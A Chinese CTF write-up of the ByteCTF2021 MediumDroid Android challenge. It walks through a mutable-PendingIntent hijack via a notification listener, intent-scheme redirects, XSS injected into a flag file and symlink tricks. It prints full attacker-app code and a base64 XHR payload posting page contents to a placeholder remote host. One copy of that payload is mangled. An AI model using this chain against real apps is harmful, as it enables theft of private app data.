ByteCTF2021 MediumDroid复现

依旧学习:ByteCTF2021 MediumDroid复现 | LLeaves Blog

APK分析

AndroidManifest.xml

跟easydroid差不多组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.mediumdroid" platformBuildVersionCode="30" platformBuildVersionName="11">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/>
<uses-permission android:name="android.permission.INTERNET"/>
<application android:theme="@style/Theme.Mediumdroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:usesCleartextTraffic="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<activity android:name="com.bytectf.mediumdroid.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name="com.bytectf.mediumdroid.TestActivity" android:exported="false"/>
<receiver android:name="com.bytectf.mediumdroid.FlagReceiver" android:exported="false">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="androidx.core.content.FileProvider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
</provider>
</application>
</manifest>

MainActivity

跟easydroid一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.bytectf.mediumdroid;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.net.URISyntaxException;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Uri data = getIntent().getData();
if (data == null) {
data = Uri.parse("http://app.toutiao.com/");
}
if (data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")) {
WebView webView = new WebView(getApplicationContext());
webView.setWebViewClient(new WebViewClient() { // from class: com.bytectf.mediumdroid.MainActivity.1
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
Uri uri = Uri.parse(url);
if (uri.getScheme().equals("intent")) {
try {
MainActivity.this.startActivity(Intent.parseUri(url, 1));
} catch (URISyntaxException e) {
e.printStackTrace();
}
return true;
}
return super.shouldOverrideUrlLoading(view, url);
}
});
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(data.toString());
}
}
}

FlagReceiver

跟之前一样接受flag写到一个目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.bytectf.mediumdroid;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;

/* loaded from: classes3.dex */
public class FlagReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if (flag != null) {
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}

/* JADX WARN: Unsupported multi-entry loop pattern (BACK_EDGE: B:7:0x0016 -> B:23:0x0026). Please submit an issue!!! */
private void writeFile(File file, String s) {
FileWriter writer = null;
try {
try {
try {
writer = new FileWriter(file, true);
writer.write(s);
writer.write(10);
writer.close();
} catch (IOException e) {
e.printStackTrace();
if (writer != null) {
writer.close();
}
}
} catch (IOException e2) {
e2.printStackTrace();
}
} catch (Throwable th) {
if (writer != null) {
try {
writer.close();
} catch (IOException e3) {
e3.printStackTrace();
}
}
throw th;
}
}
}

TestActivity

这里跟上题不一样的点在于webView.addJavascriptInterface(this, “jsi”);和Te3t方法

addJavascriptInterface的作用

1
webView.addJavascriptInterface(javaObject, "jsi");

意思是:把一个 Java 对象暴露给 WebView 里的 JavaScript 使用

  • this → 当前 TestActivity实例
  • “jsi” → JavaScript 中访问这个对象的名字

这意味着可以在WebView渲染的网页中使用js调用Android类中的方法,但是前提必须要在可以使用js接口调用的方法前面加上@JavascriptInterface的声明,在该类中的Te3t即为可以使用js接口调用的方法。

Te3t这个方法没有任何权限校验,参数 title / content完全可控

要求是Android 8.0(API 26)后,须先创建 NotificationChannel 才能发通知,”CHANNEL_ID” 是后面 Builder 使用的 channel id,4等价于 IMPORTANCE_HIGH

通知标题,完全由 JS 控制

Te3t 则创建了一条通知,并且在创建通知的过程中使用PendingIntent.getBroadcast(this, 0, new Intent(), 0)), 该PendingIntent将执行一个广播操作,类似于调用Context.sendBroadcast()方法。通过获取这个PendingIntent,可以在任何时候以PendingIntent创建者APP的权限执行这个广播操作,而无需调用sendBroadcast()方法。方法原型public staticPendingIntent getBroadcast (Context context,int requestCode,Intent intent,int flags)

普通 Intent 是什么?sendBroadcast(intent);

立刻发,只能由当前 App 自己

PendingIntent 是什么?

一个授权凭证, 允许 别的进程 / 系统 在以后以你的 App 身份执行一个 Intent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.bytectf.mediumdroid;

import android.app.Activity;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.webkit.JavascriptInterface;
import android.webkit.WebView;
import androidx.core.app.NotificationCompat;
import androidx.core.app.NotificationManagerCompat;

/* loaded from: classes3.dex */
public class TestActivity extends Activity {
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String url = getIntent().getStringExtra("url");
WebView webView = new WebView(getApplicationContext());
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(this, "jsi");
webView.loadUrl(url);
}

@JavascriptInterface
public void Te3t(String title, String content) {
if (Build.VERSION.SDK_INT >= 26) {
NotificationChannel channel = new NotificationChannel("CHANNEL_ID", "CHANNEL_NAME", 4);
NotificationManager notificationManager = (NotificationManager) getSystemService(NotificationManager.class);
notificationManager.createNotificationChannel(channel);
}
NotificationCompat.Builder builder = new NotificationCompat.Builder(this, "CHANNEL_ID").setContentTitle(title).setContentText(content).setSmallIcon(R.mipmap.ic_launcher).setContentIntent(PendingIntent.getBroadcast(this, 0, new Intent(), 0)).setAutoCancel(true).setPriority(1);
NotificationManagerCompat nm = NotificationManagerCompat.from(this);
nm.notify(100, builder.build());
}
}

PendingIntent

Android 有三种 PendingIntent:

方法 用途
getActivity() 启动 Activity
getService() 启动 Service
getBroadcast() 发送广播

所以:

1
PendingIntent.getBroadcast(...)

就是创建一个以后会被 sendBroadcast(intent)的凭证

1
2
3
4
5
6
PendingIntent.getBroadcast(
this,
0,
new Intent(),
0
)

this:Context,表示:以 TestActivity当前 App 的身份

requestCode = 0:用于区分不同 PendingIntent,这里只有一个

new Intent() :这是一个:空 Intent

flags = 0:啥也没有

A组件创建了一个 PendingIntent的对象然后传给 B组件,B 在执行这个 PendingIntent 的 send 时候,它里面的 Intent 会被发送出去,而接受到这个 Intent 的 C 组件会认为是 A 发的。B以A的权限和身份发送了这个Intent

PendingIntent 是可变的,这意味着应用 B 可以按照 fillIn() 文档中所述的逻辑更新用于指定操作的内部 intent。换言之,恶意应用可能会修改未填充的 PendingIntent 字段,从而允许攻击者访问存在漏洞的应用中原本不支持导出的组件。

PendingIntent 之所以危险,是因为:创建它的 App 没把 Intent 填满,另一个 App 可以用 fillIn() 把空的地方补成恶意内容,然后系统会以原 App 身份执行这个 Intent。

1
fillIn()

官方定义很绕,我们翻译成一句话:

1
A.fillIn(B, flags)

意思是:用 Intent B 的内容,去“补全” Intent A 中“还没设置的字段”

核心规则只有一条:A 里已经设置过的字段,默认不能被覆盖A 里没设置的字段,可以被 B 填进去

如果其他APP能够修改PendingIntent 封装的Intent 则可能会导致危险的事情发生,例如上文提到的广播,通过修改Intent然后发送广播可能会使被攻击APP未导出的广播接收器收到广播,受到攻击

如果应用以 Android 6(API 级别 23)或更高版本为目标平台,请指定可变性。例如,可以通过使用 FLAG_IMMUTABLE 来防止恶意应用填充未填充的字段:

1
2
3
4
5
6
PendingIntent pendingIntent =
PendingIntent.getActivity(
getContext(),
/* requestCode= */ 0,
new Intent(intentAction),
PendingIntent.FLAG_IMMUTABLE);

在 Android 11(API 级别 30)及更高版本中,必须指定要将哪些字段设置为可变字段,以缓解此类意外漏洞。

1
2
3
4
5
6
7
8
9
// 获取 Broadcast 关联的 PendingIntent
PendingIntent.getBroadcast(Context context, int requestCode, Intent intent, int flags)

// 获取 Activity 关联的 PendingIntent
PendingIntent.getActivity(Context context, int requestCode, Intent intent, int flags)
PendingIntent.getActivity(Context context, int requestCode, Intent intent, int flags, Bundle options)

// 获取 Service 关联的 PendingIntent
PendingIntent.getService(Context context, int requestCode, Intent intent, int flags)
方法 将来系统替你做的事
getActivity() startActivity(intent)
getBroadcast() sendBroadcast(intent)
getService() startService(intent)

getBroadcast()是“提前把 sendBroadcast() 打包成一个凭证,真正发广播的是 sendBroadcast(),只是这个 sendBroadcast()是以后由系统代你执行的。

getActivity()的意思其实是,获取一个PendingIntent对象,而且该对象日后激发时所做的事情是启动一个新activity。也就是说,当它异步激发时,会执行类似Context.startActivity()那样的动作。相应地,getBroadcast()和getService()所获取的PendingIntent对象在激发时,会分别执行类似Context.sendBroadcast()和Context.startService()这样的动作。

PendingIntent 是系统对于待处理数据的一个引用,称之为:token;当主程序被 Killed 时,token 还是会继续存在的,可以继续供其他进程使用。如果要取消 PendingIntent,需要调用PendingIntent 的 cancel 方法。

Bundle options 是启动 Activity 时的额外启动参数,

1
2
3
4
5
6
7
8
9
10
11
12
//如果新请求的 PendingIntent 发现已经存在时,取消已存在的,用新的 PendingIntent 替换
int FLAG_CANCEL_CURRENT

//如果新请求的 PendingIntent 发现已经存在时,忽略新请求的,继续使用已存在的。日常开发中很少使用
int FLAG_NO_CREATE

//表示 PendingIntent 只能使用一次,如果已使用过,那么 getXXX(...) 将会返回 NULL
//也就是说同类的通知只能使用一次,后续的通知单击后无法打开。
int FLAG_ONE_SHOT

//如果新请求的 PendingIntent 发现已经存在时, 如果 Intent 有字段改变了,这更新已存在的 PendingIntent
int FLAG_UPDATE_CURRENT
Flag
FLAG_CANCEL_CURRENT 有旧的就删掉,重新创建
FLAG_NO_CREATE 只查不建,没有就返回 null
FLAG_ONE_SHOT 只能用一次,用完就失效
FLAG_UPDATE_CURRENT 有旧的就复用,并更新 Intent 内容

FLAG_CANCEL_CURRENT

1
2
PendingIntent.getBroadcast(ctx, 0, intentA, FLAG_CANCEL_CURRENT);
PendingIntent.getBroadcast(ctx, 0, intentB, FLAG_CANCEL_CURRENT);

结果:intentA 对应的 PendingIntent 被取消,intentB 成为新的

FLAG_NO_CREATE

1
PendingIntent pi = PendingIntent.getBroadcast(ctx, 0, intent, FLAG_NO_CREATE);

如果存在 → 返回已有 PendingIntent

如果不存在 → 返回 null

FLAG_ONE_SHOT

1
PendingIntent pi = PendingIntent.getBroadcast(ctx, 0, intent, FLAG_ONE_SHOT);

第一次 send()

第二次 send() (失效)

FLAG_UPDATE_CURRENT

1
2
3
4
5
6
7
8
9
Intent i1 = new Intent();
i1.putExtra("a", 1);

PendingIntent.getBroadcast(ctx, 0, i1, FLAG_UPDATE_CURRENT);

Intent i2 = new Intent();
i2.putExtra("a", 2);

PendingIntent.getBroadcast(ctx, 0, i2, FLAG_UPDATE_CURRENT);

最终:extras = { a = 2 }

攻击方案

跟easydroid一样先要利用MainActivity跳转到TestActivity

然后TestActivity中的webview加载由Intent Scheme Url传入的url,导致下一个恶意html被渲染,该HTML通过js接口调用Te3t触发通知创建PendingIntent

1
2
3
4
5
<html>
<script>
jsi.Te3t("test","test")
</script>
</html>

在攻击者APP中创建MagicService服务,用于监听通知,在获取到被攻击APP发出的通知后就可以获取到被攻击APP创建的PendingIntent

拿到PendingIntent后即可重新填充Intent,使其的Action设置为com.bytectf.SET_FLAG,并且添加flag参数将值设置为恶意html内容,然后使用send发送广播,当被攻击APP接收到广播后会设置flag,从而将恶意html内容插入到flag中,污染flag文件

1
2
3
4
5
Intent intent = new Intent();
intent.setAction("com.bytectf.SET_FLAG");
intent.setPackage("com.bytectf.mediumdroid");
String html = "<img src=\"x\" onerror=\"eval(atob('eGhyPW5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignUE9TVCcsICdodHRwOi8veHgueHh4Lnh4eC54eHg6eHh4JywgdHJ1ZSk7IHhoci5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7IHhoci5zZW5kKCdodG1sPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50Lm91dGVySFRNTCkpOw=='))\">";
intent.putExtra("flag","<html>" + html + "</html");

当恶意代码被注入到flag中后在攻击者APP的数据目录创建软链接 symlink.html,指向被污染的flag,而第一步中的恶意html会再设置一个Intent跳转延迟执行,这个Intent与前者不同点就是S.url=file:///data/data/com.bytectf.pwnmediumdroid/files/symlink.html ,从而导致在TestActivity中再次通过WebView加载url时渲染symlink.html ,这导致被污染的flag文件被渲染,从而触发注入到flag中的恶意代码,将内容传送到远程

1
2
3
4
5
6
<script> location.href="intent:dsad#Intent;package=com.bytectf.mediumdroid;component=com.bytectf.mediumdroid/.TestActivity;S.url=http%3A%2F%2Fxxx.xxx.xxx.xxx%2Fevil4.html;end"
function jump2(){
location.href="intent:dsad#Intent;package=com.bytectf.mediumdroid;component=com.bytectf.mediumdroid/.TestActivity;S.url=file:///data/data/com.bytectf.pwnmediumdroid/files/symlink.html;end"
}
setTimeout(jump2, 12000);
</script>

构建攻击APP

MainActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class MainActivity extends AppCompatActivity {
public static Intent tmpIntent = null;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

startService(new Intent(this, MagicService.class));

Intent intent = new Intent();
intent.setClassName("com.bytectf.mediumdroid","com.bytectf.mediumdroid.MainActivity");
intent.setData(Uri.parse("http://toutiao.com@xxx.xxx.xxx.xxx/evil3.html"));
Log.d("TEST",intent.toUri(Intent.URI_INTENT_SCHEME));
startActivity(intent);
}
}

MagicService = NotificationListenerService

用来监听系统通知,拿到通知里的PendingIntent

evil.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>evil3</title>
</head>
<body>
<script>
location.href =
"intent://test#Intent;" +
"component=com.bytectf.mediumdroid/.TestActivity;" +
"S.url=http%3A%2F%2Fxxx%2Fevil2.html;" +
"end";
setTimeout(function () {
location.href =
"intent://test#Intent;" +
"component=com.bytectf.mediumdroid/.TestActivity;" +
"S.url=file:///data/data/com.bytectf.pwnmediumdroid/files/symlink.html;" +
"end";
}, 3000);
</script>
</body>
</html>

先跳到 TestActivity,让它加载第二阶段页面

注意:LLeaves博客里提到 S.url 里的 "http://"""://"" 最好编码,否则可能被转 https,把 "http://1.2.3.4/evil2.html" 编成 "http%3A%2F%2F1.2.3.4%2Fevil2.html"

延迟再跳一次 TestActivity,让它加载 file:// 的 symlink.html(指向被污染 flag)

AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
tools:ignore="ProtectedPermissions" />

<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Mediumdroid"
android:usesCleartextTraffic="true">
<service
android:name=".MagicService"
android:enabled="true"
android:exported="true"></service>

<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>

</manifest>

BIND_NOTIFICATION_LISTENER_SERVICE

这是一个 系统级高权限

允许 App 绑定并运行 NotificationListenerService

监听系统中 所有通知

拿到:

  • Notification 对象
  • Notification 里的 PendingIntent
  • 包名 / 内容 / Action

tools:ignore=”ProtectedPermissions”

  • 这是 受保护权限
  • 普通 App 在 Manifest 里声明会被 lint 报警告
  • 只影响编译期检查,不影响系统行为

没有 NotificationListenerService,无法send和修改PendingIntent

1
2
3
.setContentIntent(
PendingIntent.getBroadcast(this, 0, new Intent(), 0)
)

这个 PendingIntent,被塞进了 Notification,只存在于系统的 NotificationManager 里,不在Intent文件,Binder 接口,公共 API,默认对其他 App 完全不可见

普通 App 能做到的:发通知(自己发的),清除通知(自己发的)

普通 App做不到的:读取其他 App 的通知内容,访问通知里的 PendingIntent,Hook 系统通知列表

NotificationListenerService 是Android 给系统级通知管理 App开的后门:

1
2
public class MagicService
extends NotificationListenerService

这是唯一合法拿到别的 App 通知里的 PendingIntent的方式

MagicService

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.bytectf.pwnmediumdroid;

import android.app.PendingIntent;
import android.app.Service;
import android.content.Intent;
import android.os.Bundle;
import android.os.IBinder;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.util.Log;

import java.io.IOException;

public class MagicService extends NotificationListenerService {
public MagicService() {
Log.d("Evil","SeviceStart");
}

@Override
public void onListenerConnected() {
Log.d("Evil","onListenerConnected");
super.onListenerConnected();
}

public void createSymlink() throws IOException, InterruptedException {
String dataDir = "/data/data/" + getPackageName();
Runtime.getRuntime().exec("rm -rf " + dataDir + "/files").waitFor();
Runtime.getRuntime().exec("mkdir " + dataDir + "/files").waitFor();
Runtime.getRuntime().exec("chmod 777 -R " + dataDir).waitFor();
Runtime.getRuntime().exec("ln -s " + "/data/data/com.bytectf.mediumdroid/files/flag" + " " + dataDir + "/files/symlink.html").waitFor();
Runtime.getRuntime().exec("chmod 777 -R " + dataDir + "/files").waitFor();
}

@Override
public void onNotificationPosted(StatusBarNotification sbn) {
super.onNotificationPosted(sbn);
Log.d("Evil","onNotificationPosted");
PendingIntent pendingIntent = sbn.getNotification().contentIntent;
Log.d("Evil","Get PendingIntent" + pendingIntent);

Intent intent = new Intent();
intent.setAction("com.bytectf.SET_FLAG");
intent.setPackage("com.bytectf.mediumdroid");
String html = "<img src=\"x\" onerror=\"evaeGhyPW5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignUE9TVCcsICdodHRwOi8veHh4Lnh4eC54eHgueHh4Onh4eCcsIHRydWUpOyB4aHIuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOyB4aHIuc2VuZCgnaHRtbD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5vdXRlckhUTUwpKTs='))\">";
intent.putExtra("flag","<html>" + html + "</html");

try {
pendingIntent.send(this, 0, intent, new PendingIntent.OnFinished() {
@Override
public void onSendFinished(PendingIntent pendingIntent, Intent intent, int i, String s, Bundle bundle) {
Log.d("Evil","onSendFinished");
try {
createSymlink();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}, null);
} catch (PendingIntent.CanceledException e) {
e.printStackTrace();
}

}

@Override
public IBinder onBind(Intent intent) {
Log.d("evil","onBind" );
return super.onBind(intent);
}

@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
Log.d("evil","onNotificationRemoved" );
super.onNotificationRemoved(sbn);
}
}

用来 监听 MediumDroid 发出的通知 → 拿到通知里的 PendingIntent → 篡改 Intent → 以 MediumDroid 身份发送广播 → 触发 FlagReceiver 写 flag → 再制造 symlink 读取 flag

createSymlink:在攻击 App 自己的私有目录里,创建一个指向 MediumDroid flag 文件的符号链接

onNotificationPosted:任何 App 发通知,都会触发,

1
2
3
Intent intent = new Intent();
intent.setAction("com.bytectf.SET_FLAG");
intent.setPackage("com.bytectf.mediumdroid");

指定:action = FlagReceiver 的 action,package = MediumDroid

目标:触发非 exported 的 FlagReceiver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
MediumDroid TestActivity

Te3t() 发通知(带空 PendingIntent)

MagicService.onNotificationPosted()

拿到 PendingIntent

fillIn(action + extras)

pendingIntent.send()

MediumDroid FlagReceiver 被触发

flag 文件被写成恶意 HTML

onSendFinished()

createSymlink()

WebView 加载 symlink.html

读取 / 外带 flag

image-20260122215118878

这里还需要设置一下

要去系统设置里打开通知监听权限:

设置 → Apps & notifications(或 Notifications)→ Special app access → Notification access →

image-20260122221522186

注意你如果想要持续攻击 切换你编码的那一块的话一定要把之前的攻击删掉再进行

image-20260122222943338

此外不太建议使用

1
xhr.send('html=' + encodeURIComponent(document.documentElement.outerHTML));

有时无法读出flag 因为需要解析HTML元素

推荐使用

1
xhr=new XMLHttpRequest(); xhr.open('POST', 'http://xxxxxx:4080', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('html=' + encodeURIComponent(document.documentElement.innerText));